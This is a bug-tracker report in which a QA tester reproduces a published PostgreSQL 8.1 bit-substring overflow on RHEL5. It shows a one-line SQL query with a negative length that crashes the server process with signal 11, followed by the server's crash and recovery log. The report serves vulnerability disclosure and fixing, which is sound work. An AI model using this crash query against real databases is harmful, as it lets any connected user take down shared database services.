Bug 559194

I've seen this in my RSS reader:
http://intevydis.blogspot.com/2010/01/postgresql-8023-bitsubstr-overflow.html

So I figured I might try it on RHEL5:

.qa.[root@i386-5s-3-m1 ~]# rpm -q postgresql
postgresql-8.1.11-1.el5_1.1.i386            

.qa.[root@i386-5s-3-m1 ~]# su - postgres

-bash-3.2$ psql 
Welcome to psql 8.1.11, the PostgreSQL interactive terminal.

Type:  \copyright for distribution terms
       \h for help with SQL commands    
       \? for help with psql commands   
       \g or terminate with semicolon to execute query
       \q to quit                                     

postgres=# select version();
                                                 version                                                                                                                    
---------------------------------------------------------------------------------------------------------                                                                   
 PostgreSQL 8.1.11 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20070626 (Red Hat 4.1.2-14)
(1 row)

postgres=# select substring(B'10101010101010101010101010101010101010101010101',33,-15);
server closed the connection unexpectedly
        This probably means the server terminated abnormally
        before or while processing the request.
The connection to the server was lost. Attempting reset: Succeeded.





The log shows:
...
LOG:  server process (PID 14481) was terminated by signal 11
LOG:  terminating any other active server processes
WARNING:  terminating connection because of crash of another server process
DETAIL:  The postmaster has commanded this server process to roll back the current transaction and exit, because another server process exited abnormally and possibly corrupted shared memory.
HINT:  In a moment you should be able to reconnect to the database and repeat your command.
LOG:  all server processes terminated; reinitializing
LOG:  database system was interrupted at 2010-01-27 07:08:08 EST
LOG:  checkpoint record is at 0/33A70C
LOG:  redo record is at 0/33A70C; undo record is at 0/0; shutdown TRUE
LOG:  next transaction ID: 565; next OID: 10794
LOG:  next MultiXactId: 1; next MultiXactOffset: 0
LOG:  database system was not properly shut down; automatic recovery in progress
LOG:  record with zero length at 0/33A750
LOG:  redo is not required
LOG:  database system is ready
LOG:  transaction ID wrap limit is 2147484146, limited by database "postgres"



Not sure if this is relevant when ran with limited privileges, nevertheless, one shouldn't be able to kill/crash active database process.